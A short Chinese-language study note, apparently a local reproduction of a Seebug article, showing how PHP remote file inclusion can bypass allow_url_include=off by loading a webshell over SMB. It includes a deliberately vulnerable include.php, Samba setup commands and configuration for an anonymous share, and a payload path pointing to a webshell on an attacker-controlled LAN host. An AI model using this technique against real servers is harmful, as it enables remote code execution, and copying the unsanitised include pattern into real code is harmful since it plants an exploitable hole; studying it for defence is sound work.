在Seebug看到RFI 繞過(guò) URL 包含限制 getshell這篇文章,本地調(diào)試學(xué)習(xí)記錄一波。
主要描述php在配置如下時(shí),如何使用SMB協(xié)議在局域網(wǎng)內(nèi)突破遠(yuǎn)程文件包含getshell。
allow_url_fopen=off
allow_url_include=off
通過(guò)上述配置,PHP不加載遠(yuǎn)程HTTP或FTP URL,進(jìn)而防止遠(yuǎn)程文件包含攻擊。但即使allow_url_include和allow_url_fopen都設(shè)置為off,PHP也不會(huì)阻止SMB URL加載。
本地進(jìn)行簡(jiǎn)單的測(cè)試
include.php
<?php
$file=$_GET['file'];
include($file);
?>
- 在遠(yuǎn)程服務(wù)器上安裝SAMBA服務(wù)器:
apt-get install samba
- 創(chuàng)建SMB共享目錄:
mkdir /var/www/html/pub/
- 配置新創(chuàng)建的SMB共享目錄的權(quán)限:
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
修改SAMBA服務(wù)器配置文件(/etc/samba/smb.conf)內(nèi)容如下:
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ethan]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
- 重新啟動(dòng)SAMBA服務(wù)器
service smbd restart
同時(shí)在/var/www/html/pub/文件夾中放置webshell
通過(guò)訪問(wèn)file=\\192.168.6.131\ethan\ant.php成功包含遠(yuǎn)程shell

